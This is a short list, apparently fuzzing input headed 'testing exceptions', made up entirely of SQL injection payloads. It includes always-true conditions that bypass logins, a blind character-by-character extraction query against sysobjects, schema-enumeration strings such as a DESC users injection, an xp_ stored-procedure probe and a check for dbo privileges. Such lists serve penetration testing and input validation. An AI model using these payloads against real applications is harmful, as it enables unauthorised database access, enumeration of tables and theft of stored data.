testing exceptions

1' OR '1'='1

1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116

' OR username IS NOT NULL OR username = '

1' AND non_existant_table = '1

1'1

1' AND 1=(SELECT COUNT(*) FROM tablenames); --

'; DESC users; --

1 EXEC XP_

1 AND USER_NAME() = 'dbo'

1 AND 1=1

1'1

1' OR '1'='1

1 OR 1=1